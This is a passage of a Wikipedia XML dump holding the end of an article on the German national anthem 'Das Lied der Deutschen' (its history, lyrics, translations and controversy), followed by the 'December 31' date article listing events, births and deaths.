At the beginning of the [[19th century]], Germany was not a unified country, and the various smaller countries considered to be German each had their own anthem. The first pan-German anthem prior to [[1866]] was [[Was ist des Deutschen Vaterland]] (&quot;What is the German's fatherland?&quot;), with lyrics composed in [[1813]] by [[Ernst Moritz Arndt]] ([[1769]]-[[1860]]) and set to music by [[Gustav Reichardt]] ([[1797]]-[[1884]]) in [[1825]]. 

Following the unification of Germany in [[1871]], the Prussian anthem ''[[Heil dir im Siegerkranz]]'' &amp;mdash; sung to the tune of the British anthem ''[[God Save the King]]'' &amp;mdash; became the national anthem of Germany. Furthermore the anthem ''[[Die Wacht am Rhein]]'' (&quot;The watch on the Rhine&quot;) was very popular as an unofficial national anthem in that time.

===Tune===
The tune of &quot;Das Lied der Deutschen&quot; was written by Haydn, but not as a national anthem; Haydn wrote it because he had been requested to provide music to the poem &quot;[[Gott erhalte Franz den Kaiser]]&quot; (&quot;God preserve Francis the Emperor&quot;), an anthem to [[Francis II, Holy Roman Emperor|Francis II]], Holy Roman Emperor,  King of Germany, and Archduke of Austria. After the dissolution of the Holy Roman Empire, &quot;Gott erhalte...&quot; came to be considered the unofficial national anthem of Austria. This tune also became the second movement of one of Haydn's [[string quartet|string quartets]]. This string quartet is still widely performed today, still with the second movement containing the tune of the German national anthem along with several variations.

For additional details on the tune and how it was composed, see &quot;[[Gott erhalte Franz den Kaiser]]&quot;.

===Text===
Hoffmann von Fallersleben evidently intended &quot;Das Lied der Deutschen&quot; to be sung to Haydn's tune, as the first publication of the poem included the music. While it may today seem strange that Hoffmann chose a tune that was strongly associated with Austria for his song about Germany, this would not have seemed strange in 1841. First, at the time other countries likewise borrowed tunes for their patriotic songs, particularly the tune from Britain's ''[[God Save the King]]''. Second, Austria was still considered a part of Germany: it was a member of the [[German Confederation]] until that was dissolved in [[1866]], after the Seven Weeks' War; the final separation between southern Germany and Austria did not occur until [[1871]].

The poem was written at a time when Germany was still a collection of more than 30 quarreling [[monarchy|monarchies]] and republican free cities. Hoffmann wanted to express his desire for a united Germany, not national arrogance or striving for power. His poem is in three stanzas, of which the first begins ''Deutschland, Deutschland über alles'', 'Germany, Germany above all'. The anthem is still known in most of the English-speaking world by its first line, even though only the third stanza constitutes the official anthem for reasons that are explained below.  

In its historical context, the line &quot;Deutschland, Deutschland über alles, über alles in der Welt&quot; (&quot;Germany, Germany above all, above anything in the world&quot;) can be understood as an appeal to the German [[monarch|sovereigns]] to put aside all other projects and concentrate their efforts on creating a united Germany. In Hoffmann's time, this text had a distinctly revolutionary, [[liberalism|liberal]] connotation, since the demand for a united Germany was most often uttered in connection with demands for freedom of press and other liberal rights (see [[The Revolutions of 1848 in the German states]]). It can also imply that loyalty to a larger Germany should replace loyalty to one's sovereign personally. This in itself is a revolutionary idea.

===Use in unified Germany===
''Das Lied der Deutschen'' was not played at an official ceremony until Germany and Britain swapped the islands of [[Zanzibar]] and [[Heligoland]] in [[1890]], when it appeared only appropriate to sing it at the ceremony on Heligoland. It became very popular after the [[Battle of Langemark]] during [[World War I]], when several German regiments consisting mostly of students no older than 16 attacked the British lines singing this song and suffered heavy casualties. The official report of the army described the attack as one of young German soldiers heroically sacrificing their lives for the fatherland (in reality the untrained troops attacked the British lines side by side and were mowed down by machine guns). This report, also known as the &quot;Langemark Myth&quot;, was printed on the first page in newspapers all over Germany. 

After [[World War I]], President [[Friedrich Ebert]] made all three stanzas the German national anthem on [[August 11]], [[1922]]. 

In [[1921]], [[Albert Matthai]] wrote a fourth stanza, which was popular at that time, but never became part of the official anthem. It reflects the situation after Germany's defeat in [[World War I]]. The text is also given below with an approximate translation. Today this stanza is largely forgotten.

In [[1945]], at the end of World War II, ''Das Lied der Deutschen'' was banned by the victors, and for a time [[West Germany]] simply did not have an official national anthem.  Though the colours of the national flag were taken into Article 22 of the [[Basic Law for the Federal Republic of Germany|(West) German constitution]], the national anthem is not part of the constitution. On [[April 29]], [[1952]], Chancellor [[Konrad Adenauer]] asked President [[Theodor Heuss]] in a letter to accept ''Das Lied der Deutschen'' as the national anthem, with only the third stanza sung on official occasions. President Heuss agreed to this on [[May 2]] [[1952]], but the decision was never formalised.  Thus, West Germany officially continued to have no national anthem, but used the third stanza at occasions where a national anthem was needed. On 7 March [[1990]], the Constitutional Court declared only the third stanza of von Fallersleben's poem to be protected as a national anthem under criminal law; Section 90a of the Criminal Code (''[[Strafgesetzbuch]]'') makes defamation of the national anthem a crime, but does not specify what the national anthem is.

The [[GDR]] adopted its own national anthem, ''[[Auferstanden aus Ruinen]]'', which was written to fit the same melody, but later got its own.

Following [[German reunification|reunification]], in November [[1991]], President [[Richard von Weizsäcker]] and Chancellor [[Helmut Kohl]] agreed in an exchange of letters to declare the third stanza alone (still with Haydn's music) the national anthem of the reunited republic. However, this has not been formally ratified as a law yet. On official occasions, only the third stanza is used. Privately some may use all stanzas. Singing the first two stanzas may however by some be considered an expression of right-wing or nationalist political views.

''Einigkeit und Recht und Freiheit'' (&quot;unity and justice and freedom&quot;) from the third stanza is also the state's motto and is engraved into the rim of former 5-[[Deutsche Mark|mark]] and current 2-[[euro]] coins minted in Germany; it also appears on soldiers' belts and in similar places.

==Lyrics and translation==
The following provides the lyrics of the Deutschlandlied as written by [[August Heinrich Hoffmann von Fallersleben|von Fallersleben]]. The third verse is Germany's National Anthem.

&lt;BR&gt;

{|class=&quot;toccolours&quot; cellpadding=&quot;10&quot; rules=&quot;cols&quot;
!German lyrics !! Approximate translation
|-
!colspan=&quot;2&quot; bgcolor=&quot;lightsteelblue&quot; |First stanza
|-
|
Deutschland, Deutschland über alles, &lt;BR&gt;
Über alles in der Welt, &lt;BR&gt;
Wenn es stets zu Schutz und Trutze &lt;BR&gt;
Brüderlich zusammenhält. &lt;BR&gt;
Von der Maas bis an die Memel, &lt;BR&gt;
Von der Etsch bis an den Belt, &lt;BR&gt;
&amp;nbsp; |: Deutschland, Deutschland über alles, &lt;BR&gt;
&amp;nbsp; Über alles in der Welt! :|
|
Germany, Germany above all, &lt;BR&gt;
Above all else in the world, &lt;BR&gt;
When always, for protection and defiance, &lt;BR&gt;
It stands together brotherly. &lt;BR&gt;
From the [[Meuse River|Meuse]] to the [[Neman River|Neman]], &lt;BR&gt;
From the [[Adige]] to the [[Little Belt|Belt]], &lt;BR&gt;
&amp;nbsp; |: Germany, Germany above all, &lt;BR&gt;
&amp;nbsp; Above anything in the world. :|
|-
!colspan=&quot;2&quot; bgcolor=&quot;lightsteelblue&quot;|Second stanza
|-
|
Deutsche Frauen, deutsche Treue, &lt;BR&gt;
Deutscher Wein und deutscher Sang &lt;BR&gt;
Sollen in der Welt behalten &lt;BR&gt;
Ihren alten schönen Klang, &lt;BR&gt;
Uns zu edler Tat begeistern &lt;BR&gt;
Unser ganzes Leben lang. &lt;BR&gt;
&amp;nbsp; |: Deutsche Frauen, deutsche Treue, &lt;BR&gt;
&amp;nbsp; Deutscher Wein und deutscher Sang! :|
|
German women, German loyalty, &lt;BR&gt;
German wine and German song &lt;BR&gt;
Shall retain in all the world &lt;BR&gt;
Their old beautiful ring &lt;BR&gt;
And inspire us to noble deeds &lt;BR&gt;
All our lives. &lt;BR&gt;
&amp;nbsp; |: German women, German loyalty, &lt;BR&gt;
&amp;nbsp; German wine and German song! :|
|-
!colspan=&quot;2&quot; bgcolor=&quot;coral&quot;|Third stanza&lt;br&gt;(Germany's National Anthem)
|-
|
Einigkeit und Recht und Freiheit &lt;BR&gt;
Für das deutsche Vaterland! &lt;BR&gt;
Danach lasst uns alle streben &lt;BR&gt;
Brüderlich mit Herz und Hand! &lt;BR&gt;
Einigkeit und Recht und Freiheit &lt;BR&gt;
Sind des Glückes Unterpfand; &lt;BR&gt;
&amp;nbsp; |: Blüh' im Glanze dieses Glückes, &lt;BR&gt;
&amp;nbsp; Blühe, deutsches Vaterland. :|
|
Unity and justice and freedom &lt;BR&gt;
For the German fatherland; &lt;BR&gt;
This let us all pursue, &lt;BR&gt;
Brotherly with heart and hand. &lt;BR&gt;
Unity and justice and freedom &lt;BR&gt;
Are the pledge of happiness. &lt;BR&gt;
&amp;nbsp; |: Prosper in this blessing's fortune, &lt;BR&gt;
&amp;nbsp; Prosper, German fatherland. :| &lt;BR&gt;
|}

The first line of the first stanza is easy to misunderstand for those who do not have German as a first language. &quot;Deutschland über alles&quot; means &quot;Germany above all&quot;, expressing the desire to aim for a unified German national state. The text does not express a universal territorial claim (indeed, it aims to do the opposite), and does not mean &quot;Germany everywhere&quot; (which would be the proper translation of &quot;Deutschland überall&quot;), nor does it elate Germany to a higher position than other countries, which would be the proper translation of &quot;Deutschland über alle&quot; (&quot;Germany over all&quot;).

===Variants and additions===

Von Fallersleben also wanted the text to be used as a [[drinking song]]; the second stanza's [[toast]] to German women and wine are typical of this genre. The original Heligoland manuscript includes a variant ending of the third stanza for such occasions:
&lt;!--Is this true? I never heard of that before --&gt;

{|class=&quot;toccolours&quot; cellpadding=&quot;10&quot; rules=&quot;cols&quot;
!colspan=&quot;2&quot; bgcolor=&quot;lightsteelblue&quot;|Third stanza drinking song variant (von Fallersleben)
|-
|
Einigkeit und Recht und Freiheit &lt;BR&gt;
Für das deutsche Vaterland! &lt;BR&gt;
Danach lasst uns alle streben &lt;BR&gt;
Brüderlich mit Herz und Hand! &lt;BR&gt;
Einigkeit und Recht und Freiheit &lt;BR&gt;
Sind des Glückes Unterpfand; &lt;BR&gt;
&amp;nbsp; |: Stoßet and und ruft einstimmig, &lt;BR&gt;
&amp;nbsp; Hoch, das deutsche Vaterland. :|
|
Unity and justice and freedom &lt;BR&gt;
For the German fatherland; &lt;BR&gt;
This let us all pursue, &lt;BR&gt;
Brotherly with heart and hand. &lt;BR&gt;
Unity and justice and freedom &lt;BR&gt;
Are the pledge of happiness. &lt;BR&gt;
&amp;nbsp; |: Lift your glasses and cry with one voice, &lt;BR&gt;
&amp;nbsp; Prosper, German fatherland. :| &lt;BR&gt;
|}


A fourth stanza was written in 1921 by Albert Matthai in reaction to Germany's loss of [[World War I]]. This stanza was never used as a national anthem and not part of the Deutschlandlied.

{|class=&quot;toccolours&quot; cellpadding=&quot;10&quot; rules=&quot;cols&quot;
!colspan=&quot;2&quot; bgcolor=&quot;lightsteelblue&quot;|Fourth stanza (1921, Matthai)
|-
|
Deutschland, Deutschland über alles &lt;BR&gt;
Und im Unglück nun erst recht. &lt;BR&gt;
Nur im Unglück kann die Liebe &lt;BR&gt;
Zeigen ob sie stark und echt. &lt;BR&gt;
Und so soll es weiterklingen &lt;BR&gt;
Von Geschlechte zu Geschlecht: &lt;BR&gt;
&amp;nbsp; |: Deutschland, Deutschland über alles &lt;BR&gt;
&amp;nbsp; Und im Unglück nun erst recht. :|
|
Germany, Germany above all, &lt;BR&gt;
And in times of misfortune more than ever, &lt;BR&gt;
Only through misfortune can love &lt;BR&gt;
Show whether it's strong and true; &lt;BR&gt;
And so shall the song continue &lt;BR&gt;
From generation to generation &lt;BR&gt;
&amp;nbsp; |: Germany, Germany above all, &lt;BR&gt;
&amp;nbsp; And in times of misfortune more than ever.:|
|}

Many other variants and parodies exist.

==Controversy==
The song has frequently been criticised because of its generally nationalist theme, and because of the geographic definition of Germany given in the first stanza. The main negative associations come from the (mis)-use by the Nazis, about 100 years after it was written.

Unlike many other anthems (''e.g.'', ''[[La Marseillaise]]'', ''[[God Save the Queen]]'', ''[[The Star Spangled Banner]]''), it doesn't praise nor even mention war in any way, which could have played a role in Germany's decision to continue using it after [[World War II]]. This stems from the fact that it was originally also thought of as a simple drinking song, which explains the reference to German wine and women in the second stanza.

In the light of German military aggression and nationalist furore during [[World War II]], it was easy to infer a sinister intent of a German supremacy on a global level behind the exhortation to &quot;Deutschland über Alles in der Welt&quot; (&quot;Germany above all in the world&quot;), and the words were so exploited in Allied propaganda. The song still rings with menace today in the ears of some. Many would agree that however valid the propagandists' interpretation may have been in regard to the [[Nazis]], it does not reflect Hoffmann's original intentions. He had actually meant that in times of strife, Germany's sake must be put &quot;above all else in the world.&quot; There was no real united Germany at that time, only a large number of scattered German states, and these were the real &quot;world&quot; above which Germany was supposed to be ranked, while no international claims were made. Hoffmann and many Germans longed for them all to finally unite, a wish that only came true (except for Austria) when the German Empire was proclaimed in [[Versailles]] in 1871.[http://www.bundestag.de/blickpunkt/103_Parlament/0502/0502014.html]

During the century after the song was written, the concept of [[nationalism]] changed drastically. In the middle of the 19th century, nationalism was a liberal, [[progressivism|progressive]] idea aimed at overcoming [[monarchy]]. By the middle of the 20th century, after two World Wars, nationalism had become, to the opinion of some, a [[conservative]] or even [[fascist]] concept aimed at territorial expansion.

== Geography ==
Besides the degree of nationalism, the geography mentioned in the first stanza is open to major criticism and misuse, even though no-one can blame Hoffmann for making totally unfounded claims to foreign soil.

In the early [[1840s]], when the text was written, there was no single German state and it was uncertain if there would ever be. Hoffmann bases his definition of Germany on linguistic criteria: he describes the approximate area where a significant percentage [[German language|German]] speakers lived at the time. 19th century nationalists generally relied on linguistic criteria to determine the borders of the [[nation-state]]s they desired.  

{|class=&quot;toccolours&quot; cellpadding=&quot;10&quot; rules=&quot;cols&quot;
|
Von der [[Maas]] bis an die [[Memel]], &lt;BR&gt; 
Von der [[Etsch]] bis an den Belt.
|
From the [[Meuse River|Meuse]] to the [[Neman River|Neman]], &lt;BR&gt;
From the [[Adige River|Adige]] to the [[Little Belt|Belt]].
|}

*To the North there is not as much difference to later real boundaries, but the Little Belt between [[Jutland]] and [[Funen]] is Danish territory now (see [[First war of Schleswig|first]] and [[second war of Schleswig]])
*In the West he names the Maas, a river that runs also through [[Belgium]] where German is one of three official languages, close to the transition area between German and [[Dutch language|Dutch]] dialects
*In the East, [[East Prussia]] stretched to the Memel, which represented the easternmost extension of German speakers around [[Königsberg]]. The Neman River is now the border between the [[Russia]]n exclave of [[Kaliningrad Oblast]] and [[Lithuania]]
*As Southern border, the Etsch is given, which has its source and longest section in [[South Tyrol]], nowadays an autonomous province of [[Italy]] with a majority of German speakers

In the south and in the west, Hoffmann's definition of Germany coincided with the borders of the [[German Confederation]] as it existed then. The southernmost member of the Confederation was [[Austria]]; the westernmost members were [[Luxembourg]] and [[Limburg (Netherlands)|Limburg]]. However, Hoffmann went beyond the Confederation boundaries in the north and in the east; neither Schleswig nor East Prussia belonged to it at that time yet.

==External links==

*[http://www.bundesregierung.de/PureHtml/-,9200.430594/dokument.htm History and development of the Deutschlandlied] - Information by the German federal government (in German)
*[http://www.geocities.com/liedderdeutschen/] Page with lots of Mp3
*[http://www.deutschland.de/media/Deutschlandlied.mp3 Mp3 sound file] 
*[http://www.easybyte.org Easybyte] - free easy piano sheet music for Das Lied der Deutschen
*[http://ingeb.org/images/deutschl.GIF Sheet music]

[[Category:National anthems|Lied der Deutschen, Das]]
[[Category:History of Germany]]
[[Category:German cultural icons]]

[[ar:نشيد وطني ألماني]]
[[ca:Das Lied der Deutschen]]
[[cs:Německá hymna]]
[[da:Das Lied der Deutschen]]
[[de:Deutschlandlied]]
[[et:Das Lied der Deutschen]]
[[el:Το τραγούδι των Γερμανών]]
[[es:Das Lied der Deutschen]]
[[eo:La kanto de l' germanoj]]
[[fr:Das Lied der Deutschen]]
[[ko:독일의 국가]]
[[hr:Das Lied der Deutschen]]
[[id:Das Lied der Deutschen]]
[[it:Das Lied der Deutschen]]
[[he:המנון גרמניה]]
[[lt:Vokietijos himnas]]
[[lb:Das Lied der Deutschen]]
[[hu:Német himnusz]]
[[ms:Das Lied der Deutschen]]
[[nl:Das Lied der Deutschen]]
[[nds:Das Lied der Deutschen]]
[[ja:ドイツの国歌]]
[[no:Das Lied der Deutschen]]
[[nn:Das Lied der Deutschen]]
[[pl:Hymn Niemiec]]
[[pt:Hino nacional da Alemanha]]
[[ro:Das Lied der Deutschen]]
[[ru:Гимн Германии]]
[[simple:Das Lied der Deutschen]]
[[sk:Das Lied der Deutschen]]
[[sl:Das Lied der Deutschen]]
[[sr:Химна Немачке]]
[[fi:Das Lied der Deutschen]]
[[sv:Deutschlandlied]]
[[vi:Das Lied der Deutschen]]
[[zh:德意志之歌]]</text>
    </revision>
  </page>
  <page>
    <title>December 31</title>
    <id>8204</id>
    <revision>
      <id>42094460</id>
      <timestamp>2006-03-03T20:10:01Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv This is the events section, Rick Nelson is already listed under Deaths</comment>
      <text xml:space="preserve">'''[[December 31]]''' is the 365th day of the year (366th in [[leap year]]s) in the [[Gregorian Calendar]]. It is the final day of the Gregorian year.

{{DecemberCalendar}}

==Events==
*[[406]] - [[Vandals]], [[Alans]] and [[Suebians]] cross the [[Rhine]], beginning an invasion of [[Gaul|Gallia]]. 
*[[1600]] - [[British East India Company]] is chartered. 
*[[1687]] - The first [[Huguenots]] set sail from [[France]] to the [[Cape of Good Hope]]. 
*[[1695]] - A [[window tax]] is imposed in [[England]], causing many shopkeepers to brick up their windows to avoid the [[tax]].  
*[[1775]] - [[American Revolutionary War]]: British forces repulse an attack by [[Continental Army]] generals [[Richard Montgomery]] and [[Benedict Arnold]] at the [[Battle of Quebec (1775)|Battle of Quebec]].  
*[[1857]] - Queen [[Victoria of the United Kingdom|Victoria]] chooses [[Ottawa, Ontario]], as the capital of [[Canada]].
*[[1862]] - [[American Civil War]]: [[Abraham Lincoln]] signs an act that admits [[West Virginia]] to the Union (thus dividing Virginia in two).
*1862 - [[American Civil War]]: The [[Battle of Stones River]] is fought near [[Murfreesboro, Tennessee]].  
*[[1879]] - [[Thomas Edison]] demonstrates [[incandescent lighting]] to the public for the first time.
*[[1904]] - The first [[New Year's Eve]] celebration is held in [[Times Square]], then known as Longacre Square, in [[New York, New York]].
*[[1909]] - [[Manhattan Bridge]] opens. 
*[[1916]] - The [[Hampton Terrace Hotel, North Augusta|Hampton Terrace Hotel]] in [[North Augusta, South Carolina]], one of the largest and most luxurious hotels in the [[United States]] at the time, burns to the ground.
*[[1929]] - [[Guy Lombardo]] performs ''[[Auld Lang Syne]]'' at the [[Roosevelt Hotel]] in [[New York City]] for the first time.
*[[1944]] - [[World War II]]: [[Hungary]] declares war on [[Germany]].
*[[1946]] - President [[Harry Truman]] officially proclaims the end of hostilities in [[World War II]].  
*[[1955]] - [[General Motors]] becomes the first [[U.S.]] corporation to make over [[United States dollars|USD]] $1 billion in a year.  
*[[1960]] - The [[farthing coin]] ceases to be [[legal tender]] in the [[United Kingdom]].  
*[[1961]] - The [[Marshall Plan]] expires after distributing more than [[United States dollars|USD]] $12 billion in [[foreign aid]] to rebuild [[Europe]].
*[[1963]] - [[Federation of Rhodesia and Nyasaland|The Central African Federation]] officially collapses and splits into [[Zambia]], [[Malawi]] and [[Rhodesia]].
*[[1968]] - [[Marien Ngouabi]] assumed the presidency of the [[Republic of the Congo]].
*[[1972]] - [[Roberto Clemente]] died in a plane crash delivering aid to [[earthquake]] victims in [[Nicaragua]].
*[[1983]] - The [[AT&amp;T]] [[Bell System]] is broken up by the [[United States]] Government.   
*[[1986]] - A fire at the [[Dupont Plaza Hotel]] in [[San Juan, Puerto Rico]], kills 97 and injures 140. 
*[[1988]] - [[Mario Lemieux]] of the [[Pittsburgh Penguins]] becomes the first player in [[National Hockey League]] history to score one goal of each type in a single hockey game: an even-strength goal, a power-play goal, a short-handed goal, a penalty shot, and an empty-net goal.
*[[1990]] - [[Garry Kasparov]] holds his title by winning the [[World Chess Championship]] match against his countryman [[Anatoly Karpov]].  
*[[1991]] - The [[Soviet Union]] is officially dissolved.
*[[1992]] - In the last of the great [[ITV]] franchise renewals, [[Thames Television]], [[Television South West]] and [[Television South]] cease broadcasting, replaced by [[Carlton Television]], [[Westcountry Television]] and [[Meridian Television]] respectively.
*[[1993]]- Transgendered Nebraska teen [[Brandon Teena]] is brutally murdered with two others in an act of [[homophobia]].
*[[1995]] - The [[Calvin and Hobbes]] cartoon strip ends.
*[[1997]] - [[Opryland USA]] [[theme park]] in [[Nashville, Tennessee]] closes permanently after 26 years in operation.
*[[1999]] - [[Boris Yeltsin]] resigns as [[President of Russia]], to be replaced by [[Vladimir Putin]].
*1999  - Five [[hijacking|hijackers]], who had been holding 155 hostages on an [[Indian Airlines]] plane, leave the plane with two Islamic clerics that they had demanded be freed.
*1999  - The [[Panama Canal]] comes completely under [[Panama]]'s jurisdiction.
*[[2005]] - A [[leap second]] is added to 2005, thus making [[2006]] a second late.

==Births==
*[[1378]] - [[Pope Callixtus III]] (d. [[1458]])
*[[1491]] - [[Jacques Cartier]], French explorer (d. [[1557]])
*[[1514]] - [[Vesalius]], Flemish anatomist (d. [[1564]])
*[[1572]] - [[Emperor Go-Yozei of Japan]], (d. [[1617]])
*[[1668]] - [[Herman Boerhaave]], Dutch humanist and physician (d. [[1738]])
*[[1720]] - [[Charles Edward Stuart]], pretender to the British throne (d. [[1788]])
*[[1738]] - [[Charles Cornwallis, 1st Marquess Cornwallis]], British general (d. [[1805]])
*[[1763]] - [[Pierre-Charles Villeneuve]], French admiral (d. [[1806]])
*[[1869]] - [[Henri Matisse]], French painter and graphic artist (d. [[1954]])
*[[1880]] - [[George Marshall]], [[United States Secretary of State]], recipient of [[Nobel Peace Prize]] (d. [[1959]])
*[[1881]] - [[Max Pechstein]], German painter and graphic artist (d. [[1955]])
*[[1894]] - [[Pola Negri]], Polish actress (d. [[1987]])
*[[1903]] - [[Nathan Milstein]], Ukrainian violinist (d. [[1992]])
*[[1905]] - [[Jule Styne]], English-born composer (d. [[1994]])
*[[1908]] - [[Simon Wiesenthal]], Austrian Holocaust survivor and activist (d. [[2005]])
*[[1910]] - [[Carl Dudley]], American film director (died [[1973]])
*[[1919]] - [[Tommy Byrne (baseball)|Tommy Byrne]], baseball player
*[[1920]] - [[Rex Allen]], American actor and singer (d. [[1999]])
*[[1928]] - [[Siné]], French cartoonist
*[[1930]] - [[Odetta]], American singer
*[[1931]] - [[Bob Shaw]], Northern Irish science fiction writer (d. [[1996]])
*[[1937]] - [[Avram Hershko]], Israeli biologist, recipient of the [[Nobel Prize in Chemistry]]
*1937 - [[Anthony Hopkins]], Welsh actor
*[[1938]] - [[Rosalind Cash]], American actress (d. [[1995]])
*[[1941]] - [[Alex Ferguson]], Scottish football player and manager
*[[1942]] - [[Andy Summers]], British musician ([[The Police]])
*[[1943]] - [[John Denver]], American musician (d. [[1997]])
*1943 - [[Ben Kingsley]], English actor
*[[1945]] - [[Taylor Hackford]], American film producer and director
*1945 - [[Diane von Fürstenberg]], fashion designer
*[[1947]] - [[Burton Cummings]], Canadian musician ([[The Guess Who]])
*1947 - [[Tim Matheson]], American actor
*[[1948]] - [[Donna Summer]], American singer
*[[1951]] - [[George Thorogood]], American musician
*1951 - [[Tom Hamilton (musician)|Tom Hamilton]], American musician ([[Aerosmith]])
*[[1953]] - [[James Remar]], American actor
*1953 - [[Jane Badler]], American actress
*[[1958]] - [[Bebe Neuwirth]], American actress
*[[1959]] - [[Phill Kline]], American politician
*1959 - [[Val Kilmer]], American actor
*1959 - [[Paul Westerberg]], American singer/songwriter, musician ([[Replacements]])
*[[1960]] - [[John Allen Muhammad]], American serial killer
*[[1963]] - [[Scott Ian]], British musician ([[Anthrax (band)|Anthrax]])
*[[1964]] - [[Allen D'Nulderf]], American stuntman
*[[1971]] - [[Brent Barry]], American basketball player
*[[1980]] - [[Richie McCaw]], New Zealand rugby player
*1980 - [[Bob Bryar]], American drummer

==Deaths==
*[[192]] - [[Commodus]], [[Roman Emperors|Roman Emperor]] (b. [[161]])
*[[1164]] - Margrave [[Ottokar III of Styria]] (b. [[1124]])
*[[1194]] - Duke [[Leopold V of Austria (Babenberg)|Leopold V of Austria]] (killed at a tournament) (b. [[1157]])
*[[1297]] - [[Humphrey de Bohun, 3rd Earl of Hereford]], English soldier (b. [[1249]])
*[[1302]] - [[Frederick III, Duke of Lorraine]] (b. [[1238]])
*[[1384]] - [[John Wycliffe]], English theologian and Bible translator
*[[1424]] - [[Thomas Beaufort, 1st Duke of Exeter]], English military leader
*[[1460]] - [[Edmund, Earl of Rutland]], brother of Kings [[Edward IV of England]] and [[Richard III of England]] (executed) (b. [[1443]])
*1460 - [[Richard Neville, 5th Earl of Salisbury]], English politician (b. [[1400]])
*[[1510]] - [[Bianca Maria Sforza]], wife of [[Maximilian I, Holy Roman Emperor]] (b. [[1472]])
*[[1535]] - [[William Skeffington]], Lord Deputy of Ireland (b. [[1465]])
*[[1568]] - [[Shimazu Tadayoshi]], Japanese warlord (b. [[1493]])
*[[1575]] - [[Pierino Belli]], Italian soldier and jurist (b. [[1502]])
*[[1583]] - [[Thomas Erastus]], Swiss theologian (b. [[1524]])
*[[1610]] - [[Ludolph van Ceulen]], German mathematician (b. [[1540]])
*[[1650]] - [[Dorgon]], Chinese emperor (b. [[1612]])
*[[1673]] - [[Oliver St John]], English statesman and judge
*[[1679]] - [[Giovanni Alfonso Borelli]], Italian physiologist and physicist (b. [[1608]])
*[[1691]] - [[Dudley North]], English economist (b. [[1641]])
*[[1719]] - [[John Flamsteed]], English astonomer (b. [[1646]])
*[[1742]] - [[Karl III Philip, Elector Palatine]] (b. [[1661]])
*[[1799]] - [[Jean-François Marmontel]], French historian and writer (b. [[1723]])
*[[1872]] - [[Aleksis Kivi]], Finnish author (b. [[1834]])
*[[1877]] - [[Gustave Courbet]], French painter (b. [[1819]])
*[[1888]] - [[Samson Raphael Hirsch]], German rabbi (b. [[1808]])
*[[1889]] - [[Ion Creangă]], Romanian writer (b. [[1837]] or [[1839]])
*[[1905]] - [[Alexander Popov (physicist)|Alexander Popov]], Russian physicist (b. [[1859]])
*[[1921]] - [[Boies Penrose]], United States Senator from Pennsylvania (b. [[1860]])
*[[1936]] - [[Miguel de Unamuno]], Spanish writer and philosopher (b. [[1864]])
*[[1948]] - [[Malcolm Campbell]], English race car driver (b. [[1885]])
*[[1953]] - [[Albert Plesman]], Dutch aviation pioneer (b. [[1889]])
*[[1964]] - [[Ólafur Thors]], Icelandic politician and five times prime minister (b. [[1892]])
*[[1969]] - [[George Lewis (clarinetist)|George Lewis]], American musician (b. [[1900]])
*[[1971]] - [[Vikram Sarabhai]], Indian physicist (b. [[1919]])
*[[1972]] - [[Roberto Clemente]], baseball player (b. [[1934]])
*[[1977]] - [[Sabah III Al-Salim Al-Sabah]], Ruler of Kuwait (b. [[1924]])
*[[1980]] - [[Marshall McLuhan]], Canadian writer (b. [[1911]])
*1980 - [[Raoul Walsh]], American film director (b. [[1887]])
*[[1985]] - [[Rick Nelson]], American singer (b. [[1940]])
*[[1990]] - [[Vasili Lazarev]], cosmonaut (b. [[1928]])
*[[1993]] - [[Zviad Gamsakhurdia]], first [[President of Georgia]] (b. [[1939]])
*[[1997]] - [[Floyd Cramer]], American musician (b. [[1933]])
*[[1999]] - [[Elliot Richardson]], American politician (b. [[1920]])
*[[2000]] - [[Alan Cranston]], American politician (b. [[1914]])
*[[2003]] - [[Arthur R. von Hippel]] German-born physicist (b. [[1898]])
*[[2004]] - [[Gerard Debreu]], French-born economist, [[Nobel Prize in Economics|Bank of Sweden Prize]] winner (b. [[1921]])
*[[2005]] - [[Phillip Whitehead]], British politician (b. [[1937]])

==Holidays and observances==
The evening is called [[New Year's Eve]]. At 24:00 the beginning of the new year is celebrated, see [[January 1]]. The day and evening are called [[Hogmanay]] in Scotland. In Japan the evening is called [[Omisoka|Ōmisoka]]. In the [[Holidays in the Philippines|Philippines]] it is a public holiday.
*[[Calendar of Saints|R.C. Saints]] - [[Pope Sylvester I]] (optional memorial)
*The sixth [[Twelvetide|day of Christmas]] in Western [[Christianity]].
*Also see December 31 [[Eastern Orthodox]] liturgics.
*[[Bahá'í Faith]] - Feast of &lt;u&gt;Sh&lt;/u&gt;araf (Honor) - First day of the 16th month of the [[Bahá'í Calendar]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/31 BBC: On This Day]
* [http://www.tnl.net/when/12/31 Today in History: December 31]
----

[[December 30]] - [[January 1]] - [[November 30]] - [[January 31]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:31 Desember]]
[[ar:31 ديسمبر]]
[[an:31 d'abiento]]
[[ast:31 d'avientu]]
[[bg:31 декември]]
[[be:31 сьнежня]]
[[bs:31. decembar]]
[[ca:31 de desembre]]
[[ceb:Disyembre 31]]
[[cv:Раштав, 31]]
[[co:31 di decembre]]
[[cs:31. prosinec]]
[[cy:31 Rhagfyr]]
[[da:31. december]]
[[de:31. Dezember]]
[[et:31. detsember]]
[[el:31 Δεκεμβρίου]]
[[es:31 de diciembre]]
[[eo:31-a de decembro]]
[[eu:Abenduaren 31]]
[[fo:31. desember]]
[[fr:31 décembre]]
[[fy:31 desimber]]
[[ga:31 Nollaig]]
[[gl:31 de decembro]]
[[ko:12월 31일]]
[[hr:31. prosinca]]
[[io:31 di decembro]]
[[id:31 Desember]]
[[ia:31 de decembre]]
[[is:31. desember]]
[[it:31 dicembre]]
[[he:31 בדצמבר]]
[[jv:31 Desember]]
[[ka:31 დეკემბერი]]
[[csb:31 gòdnika]]
[[ku:31'ê berfanbarê]]
[[la:31 Decembris]]
[[lt:Gruodžio 31]]
[[lb:31. Dezember]]
[[li:31 december]]
[[hu:December 31]]
[[mk:31 декември]]
[[ms:31 Disember]]
[[nap:31 'e dicembre]]
[[nl:31 december]]
[[ja:12月31日]]
[[no:31. desember]]
[[nn:31. desember]]
[[oc:31 de decembre]]
[[os:31 декабры]]
[[pl:31 grudnia]]
[[pt:31 de Dezembro]]
[[ro:31 decembrie]]
[[ru:31 декабря]]
[[se:Juovlamánu 31.]]
[[sco:31 December]]
[[sq:31 Dhjetor]]
[[scn:31 di dicèmmiru]]
[[simple:December 31]]
[[sk:31. december]]
[[sl:31. december]]
[[sr:31. децембар]]
[[fi:31. joulukuuta]]
